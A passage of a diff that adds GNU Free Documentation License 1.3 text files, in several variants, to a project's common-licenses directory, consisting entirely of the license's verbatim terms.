+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice. H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, or distribute it is void, and will automatically terminate your rights under this License.
+
+However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation.
+
+Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice.
+
+Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, receipt of a copy of some or all of the same material does not give you any rights to use it.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation. If the Document specifies that a proxy can decide which future versions of this License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Document.
+
+11. RELICENSING
+
+"Massive Multiauthor Collaboration Site" (or "MMC Site") means any World Wide Web server that publishes copyrightable works and also provides prominent facilities for anybody to edit those works. A public wiki that anybody can edit is an example of such a server. A "Massive Multiauthor Collaboration" (or "MMC") contained in the site means any set of copyrightable works thus published on the MMC site.
+
+"CC-BY-SA" means the Creative Commons Attribution-Share Alike 3.0 license published by Creative Commons Corporation, a not-for-profit corporation with a principal place of business in San Francisco, California, as well as future copyleft versions of that license published by that same organization.
+
+"Incorporate" means to publish or republish a Document, in whole or in part, as part of another Document.
+
+An MMC is "eligible for relicensing" if it is licensed under this License, and if all works that were first published under this License somewhere other than this MMC, and subsequently incorporated in whole or in part into the MMC, (1) had no cover texts or invariant sections, and (2) were thus incorporated prior to November 1, 2008.
+
+The operator of an MMC Site may republish an MMC contained in the site under CC-BY-SA on the same site at any time before August 1, 2009, provided the MMC is eligible for relicensing.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.3-no-invariants-or-later b/meta/files/common-licenses/GFDL-1.3-no-invariants-or-later
new file mode 100644
index 0000000000..b51dc2ab16
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.3-no-invariants-or-later
@@ -0,0 +1,149 @@
+GNU Free Documentation License
+Version 1.3, 3 November 2008
+
+Copyright (C) 2000, 2001, 2002, 2007, 2008 Free Software Foundation, Inc. <http://fsf.org/>
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+The "publisher" means any person or entity that distributes copies of the Document to the public.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice. H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, or distribute it is void, and will automatically terminate your rights under this License.
+
+However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation.
+
+Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice.
+
+Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, receipt of a copy of some or all of the same material does not give you any rights to use it.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation. If the Document specifies that a proxy can decide which future versions of this License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Document.
+
+11. RELICENSING
+
+"Massive Multiauthor Collaboration Site" (or "MMC Site") means any World Wide Web server that publishes copyrightable works and also provides prominent facilities for anybody to edit those works. A public wiki that anybody can edit is an example of such a server. A "Massive Multiauthor Collaboration" (or "MMC") contained in the site means any set of copyrightable works thus published on the MMC site.
+
+"CC-BY-SA" means the Creative Commons Attribution-Share Alike 3.0 license published by Creative Commons Corporation, a not-for-profit corporation with a principal place of business in San Francisco, California, as well as future copyleft versions of that license published by that same organization.
+
+"Incorporate" means to publish or republish a Document, in whole or in part, as part of another Document.
+
+An MMC is "eligible for relicensing" if it is licensed under this License, and if all works that were first published under this License somewhere other than this MMC, and subsequently incorporated in whole or in part into the MMC, (1) had no cover texts or invariant sections, and (2) were thus incorporated prior to November 1, 2008.
+
+The operator of an MMC Site may republish an MMC contained in the site under CC-BY-SA on the same site at any time before August 1, 2009, provided the MMC is eligible for relicensing.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.3-only b/meta/files/common-licenses/GFDL-1.3-only
new file mode 100644
index 0000000000..b51dc2ab16
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.3-only
@@ -0,0 +1,149 @@
+GNU Free Documentation License
+Version 1.3, 3 November 2008
+
+Copyright (C) 2000, 2001, 2002, 2007, 2008 Free Software Foundation, Inc. <http://fsf.org/>
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+The "publisher" means any person or entity that distributes copies of the Document to the public.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice. H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
